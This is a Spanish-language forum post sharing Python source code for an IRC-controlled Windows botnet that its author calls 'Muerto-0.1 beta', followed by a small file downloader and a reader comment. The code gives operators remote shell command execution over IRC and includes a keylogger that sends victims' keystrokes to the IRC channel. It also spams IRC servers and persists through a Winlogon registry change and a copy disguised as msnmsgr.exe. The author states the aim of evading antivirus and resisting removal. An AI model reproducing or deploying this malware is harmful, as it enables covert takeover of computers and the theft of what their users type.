Facebook Twitter Gplus Flickr LinkedIn E-mail RSS
formats

BotNet En Python

Bueno primero que todo saludarlos y ase tiempo que no posteaba, de echo es mi segunda ves =) estos últimos dias e estado pasando el tiempo jugando con Muerto-0.1 beta (asi lo e bautizado) como siempre todo esto es por el afan de aprender solamente. lo que e echo asta el momento es bastante poco y bastante tontas algunas parte del código notese que no esta terminado y niciqiera esta en la mitad de su proceso simplemente en pañales
comparto el codigo, lo que e echo asta el momento por 2 razones
1) cago mi server irc por lo tanto ya no tengo donde hacer pruebas con total libertad
2) pienso reestructurar completamente el codigo ya que mirándolo e notado infinidad de cosas que se pueden mejorar.

Solo eso agradeceria ideas formas metodos para que fuera mas robusto ya que la idea es hacer un botnet el cual costara desinfectarse que fuera indetectable para los antivirus etc..
repito esto esta en pañales mi idea es mas adelante lograr injectar el codigo en otro proceso. mutar constantemente para evitar ser detectado pero lo mas importante desde mi punto de vista no hacer daño ni grandes modificaciones en el pc y poder coexistir tranquilamente con un usuario normal

tambien aclaro que esta echo para wintendo, compilado con py2exe, y probado solo en una virtual box con xp…

bueno eso es todo espero lo miren y expongan sus ideas para mejorarlo.
pretendo mejorarlo y crear multi hilos para cada función por ejemplo como funciona el keyloger,
meter el bot irc en un hilo etc cuando este aburrido sigo salu2 y no se rian tanto porfa =) solo intento aprender…

PD: recicle gran parte del codigo que abia posteado anteriormente..

 

#!/usr/bin/python
import socket,string,os.path,random,time,sys,_winreg,win32api,threading
 
############clase users###############
class users:
def __init__(self, user):
self.user = user
def existe(self):
if os.path.isfile('users.txt') == True:
f = open('users.txt', 'r+')
data = f.read()
test = data.split('\n')
for x in test:
if x == self.user:
return '1'
f.close()
else:
return 'x'
def add(self):
if os.path.isfile('users.txt') == True:
if users.existe(self) == '1':
return '1'
else:
f = open('users.txt', 'a')
f.write(self.user + '\n')
f.close()
return '2'
else:
f = open('users.txt', 'w')
f.write(self.user + '\n')
f.close()
return '2'
def borrar(self):
if os.path.isfile('users.txt') == True:
if users.existe(self) == '1':
f = open('users.txt', 'r+')
data = f.read()
data = data.replace(self.user,'')
f.close()
f1 = open('users.txt', 'w')
f1.write(data)
f1.close()
return '3'
else:
return 'x'
else:
return 'x'
def listar(self):
if os.path.isfile('users.txt') == True:
f = open('users.txt', 'r+')
data = f.read()
test = data.split('\n')
return test
f.close()
else:
return 'x'
#keyloger nos envia lo tecleado por el pc huesped acia el server irc
class keylog(threading.Thread):
def __init__(self, s, gg):
threading.Thread.__init__(self)
self.s = s
self.gg = gg
def run(self):
todo = ''
stop = False
while not stop:
for letra in range(8, 256):
key = win32api.GetAsyncKeyState(letra)
if key == -32767:
if letra != 9 or letra != 13 or letra != 123:
todo = '%s%s' % (todo, chr(letra))
if letra == 13:
log = open('log.txt', 'a+')
log.write(todo + '\n')
try:
self.s.send('PRIVMSG %s 2%s\r\n' % (self.gg, todo))
todo = ''
except socket.error:
stop = True
break
if letra == 8:
todo=todo[0:len(todo)-2]
#espamear en servidores. esto es una mierda y fue solo un test lo dejo = como idea por mejorar
#pretendo hacer una seccion se atakes y tengo muchas ideas en mente DoS usando Threads proxys etc
def spam(lugar, nname, chan, msg):
s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s1.connect((lugar,6667))
except socket.gaierror:
s1.close()
else:
s1.send('NICK %s\r\n' % nname)
s1.send('USER pablo pablo pablo : asi aoy yo =)\r\n')
s1.send('JOIN %s\r\n' % chan)
s1.send('PRIVMSG %s 2%s\r\n' % (chan, msg))
s1.close()
##################################################
def entra():
#configuracion user password
root = 'caed'
password = '1234'
#nick aleatorio NerD- + numero aleatorio entre 1000 y 9999
nick = 'NerD-%s' % random.randint(1000, 9999)
#ident
ide = 'test'
#full name
fullname = 'Muerto 0.1-Beta'
#servidor y puerto de coneccion
server = 'irc.linuxerz.org'
puerto = 6667
#canal en el que entra
canal = '#shottas'
buffer = ''
acept = '0'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server,puerto))
s.send('NICK %s\r\n' % nick)
s.send('USER %s %s %s : %s\r\n' % (ide, ide, ide, fullname))
#la sigiente linea esta comentada ya que algunos servidores no dejan enviar el join altiro
#asi que lo envio despues del raw 376 que es el fin del motd
#s.send('JOIN %s\r\n' % canal)
#seteamos el valor de timeout o tiempo maximo de espera sin movimiento en el buffer en 120 segundos
s.settimeout(120)
while 1:
#evitamos error de timeout y socket.error
try:
buffer=buffer+s.recv(1024)
#ante un error cierra el socket y conecta nuevamente
except socket.error:
s.close()
entra()
#ante un error cierra el socket y conecta nuevamente
except socket.timeout:
s.close()
entra()
#si no ocurre ningun error contirua
else:
temp=string.split(buffer, "\n")
buffer=temp.pop()
for line in temp:
print line
line_list=string.split(line)
#respondemos el ping del servidor
if(line_list[0]=='PING'):
s.send("PONG %s\r\n" % line_list[1])
#reconectar despues de un error closing link
if(line_list[0]=='ERROR'):
if(line_list[1]==':Closing'):
if(line_list[2]=='Link:'):
time.sleep(10)
s.close()
entra()
if(line_list[1]=='376'):
s.send('JOIN %s\r\n' % canal)
#despues de logearte comprobar que estes identificado en el servidor irc y agregarlo al archivo users.txt
if(line_list[1]=='307'):
if(acept=='1'):
u = users(line_list[3])
u.add()
s.send('PRIVMSG %s 2Login Correcto Para Solicitar Ayuda Usa 4!man\r\n' % line_list[3])
acept = '0'
if(line_list[1]=='PRIVMSG'):
#nos logeamos con !login user pass (el nick tiene que estar identificado)
if(line_list[3]==':!login'):
if(line_list[4]==root):
if(line_list[5]==password):
acept = '1'
s.send('WHOIS %s\r\n' % line_list[4])
a=string.find(line, ':')
b=string.find(line, '!')
n1=line[a+1:b]
if(line_list[3]==':VERSION'):
s.send('NOTICE %s :VERSION mIRC v6.17 Khaled Mardam-Bey\r\n' % n1)
f1 = users(n1)
#comprobamos que el usuario exista
if(f1.existe()=='1'):
g1=string.find(line, ':')
g2=string.find(line, '!')
gg=line[g1+1:g2]
##########ejecutar comandos shell########
#para que responda en canal
if(line_list[2]==canal):
if(line_list[3]==':!cmd'):
x=string.find(line, ':!cmd')
comand=line[x+6:len(line)]
data=os.popen('%s' % comand).read()
file=open('test.txt','w')
file.write(data)
file.close()
file=open('test.txt','r')
data=file.read()
data1=data.split('\n')
for x in data1:
time.sleep(1)
try:
s.send('PRIVMSG %s : %s\r\n' % (canal, x))
except socket.error:
s.close()
entra()
#para que responda en pv2
elif(line_list[3]==':!cmd'):
x=string.find(line, ':!cmd')
comand=line[x+6:len(line)]
data=os.popen('%s' % comand).read()
file=open('test.txt','w')
file.write(data)
file.close()
file=open('test.txt','r')
data=file.read()
data1=data.split('\n')
for x in data1:
time.sleep(1)
try:
s.send('PRIVMSG %s : %s\r\n' % (gg, x))
except socket.error:
s.close()
entra()
##########################################
#agregar users
if(line_list[3]==':!adduser'):
try:
xs = users(line_list[4])
except IndexError:
s.send('PRIVMSG %s 2Parametro obligatorio !adduser nick-usuario\r\n' % gg)
else:
if(xs.existe()=='1'):
s.send('PRIVMSG %s 2El Usuario: 1%s2 Ya Existe\r\n' % (gg, line_list[4]))
else:
xs.add()
s.send('PRIVMSG %s 2El Usuario: 1%s 2A Sido Ingresaro Correctamente\r\n' % (gg, line_list[4]))
s.send('PRIVMSG %s 2Bienvenido a Muerto-0.1-Beta, Para solicitar Ayuda use !man\r\n' % line_list[4])
#borrar user
if(line_list[3]==':!deluser'):
try:
xs = users(line_list[4])
except IndexError:
s.send('PRIVMSG %s 2El Usuario Es Invalido\r\n' % gg)
else:
if(xs.borrar()=='x'):
s.send('PRIVMSG %s 2El Usuario: 1%s2 No Existe\r\n' % (gg, line_list[4]))
else:
xs.borrar()
s.send('PRIVMSG %s 2El Usuario: 1%s 2A Sido Eliminado Correctamente\r\n' % (gg, line_list[4]))
#reiniciar bot
if(line_list[3]==':!reboot'):
s.close()
entra()
#activar keyloger
if(line_list[3]==':!keyloger'):
keyloger = keylog(s, gg)
keyloger.start()
#listar usuarios
if(line_list[3]==':!userlist'):
xs = users('')
s.send('PRIVMSG %s 2Lista De Usuarios\r\n' % gg)
for a in xs.listar():
if(a!=''):
s.send('PRIVMSG %s 1%s\r\n' % (gg, a))
#borrar lista completa de users
if(line_list[3]==':!reset'):
s.send('PRIVMSG %s 2La Lista De Usuarios a Sido Reseteada\r\n' % gg)
f = open('users.txt', 'w')
f.close()
#hacer spam en servidores
if(line_list[3]==':!spam'):
try:
k1=line_list[4]
k2=line_list[5]
k3=line_list[6]
k4=line_list[7]
kk1=string.find(line, line_list[7])
msg=line[kk1:len(line)]
spam(k1, k2, k3, msg)
except IndexError:
s.send('PRIVMSG %s 2Parametros obligatorios: 4!spam servidor nick-del-bot #canal mensaje\r\n' % gg)
###############################
#manual del bot
if(line_list[3]==':!man'):
s.send('PRIVMSG %s 2bienvenido A La Ayuda De: 1Muerto 0.1-Beta\r\n' % gg)
time.sleep(1)
s.send('PRIVMSG %s 2Agregar Usuario Ejemplo: 4!adduser juanito\r\n' % gg)
s.send('PRIVMSG %s 2Eliminar Usuario Ejemplo: 4!deluser juanito\r\n' % gg)
s.send('PRIVMSG %s 2Listar Usuarios: 4!userlist\r\n' % gg)
s.send('PRIVMSG %s 2Resetear Usuarios: 4!reset\r\n' % gg)
s.send('PRIVMSG %s 2Ejecutar Comando Ejemplo: 4!cmd dir c:\\r\n' % gg)
s.send('PRIVMSG %s 2Reiniciar: 4!reboot\r\n' % gg)
s.send('PRIVMSG %s 2spamear en servidores: 4!spam server nick-del-bot #canal mensaje\r\n' % gg)
#crear llave de registro para iniciarnos junto a explorer.exe al iniciar secion de usuario
t1=string.rfind(sys.argv[0], '\\')
tt=sys.argv[0][t1+1:len(sys.argv[0])]
keyp = _winreg.OpenKey( _winreg.HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon', 0, _winreg.KEY_SET_VALUE)
_winreg.SetValueEx (keyp, "shell", 0, _winreg.REG_SZ, "Explorer.exe, msnmsgr.exe")
_winreg.CloseKey(keyp)
#copiarnos al directorio system32
os.popen('copy %s C:\\WINDOWS\\system32\\msnmsgr.exe' % tt)
#iniciamos el ciclo
entra()

falta agregarle la opcion keyloger al !man ya que no e agregado todo aparte estoy o estaba asta ayer que cago mi server irc trabajando en descargar archivos y algunas cositas que se me qedan en el tintero

espero les guste salu2 by sombra

import sys, urllib, string
tam_total =''
def descarga(troso, tam_troso, tam_total):
curso = troso * tam_total
print 'Downloading: %s Bytes De: %s' % (curso, tam_total)
if len(sys.argv) < 2:
print '''
Ingresar Parametros
 
wget http://sitioweb.com/archivo.extencion '''
sys.exit()
else:
final=string.rfind(sys.argv[1], '/')
nombre=sys.argv[1][final+1:len(sys.argv[1])]
print 'Iniciando Descarga'
urllib.urlretrieve(sys.argv[1], nombre, reporthook=descarga)
print 'El Archivo %s Se Descargo Correctamente, Un Total De %s Bytes' % (nombre, tam_total)

Una respuesta

  1. Abraham MEXICO Windows XP Internet Explorer 8.0

    Interesante tu codigo, voy a probarlo para revisar detalladamente la funcionalidad

    Valorar: Thumb up 0 Thumb down 0

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos necesarios están marcados *

*

Puedes usar las siguientes etiquetas y atributos HTML: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong> <pre lang="" line="" escaped="" highlight="">

Home Comunidad BotNet En Python
credit
© Linuxerz | GNU/Linux Latinoamericano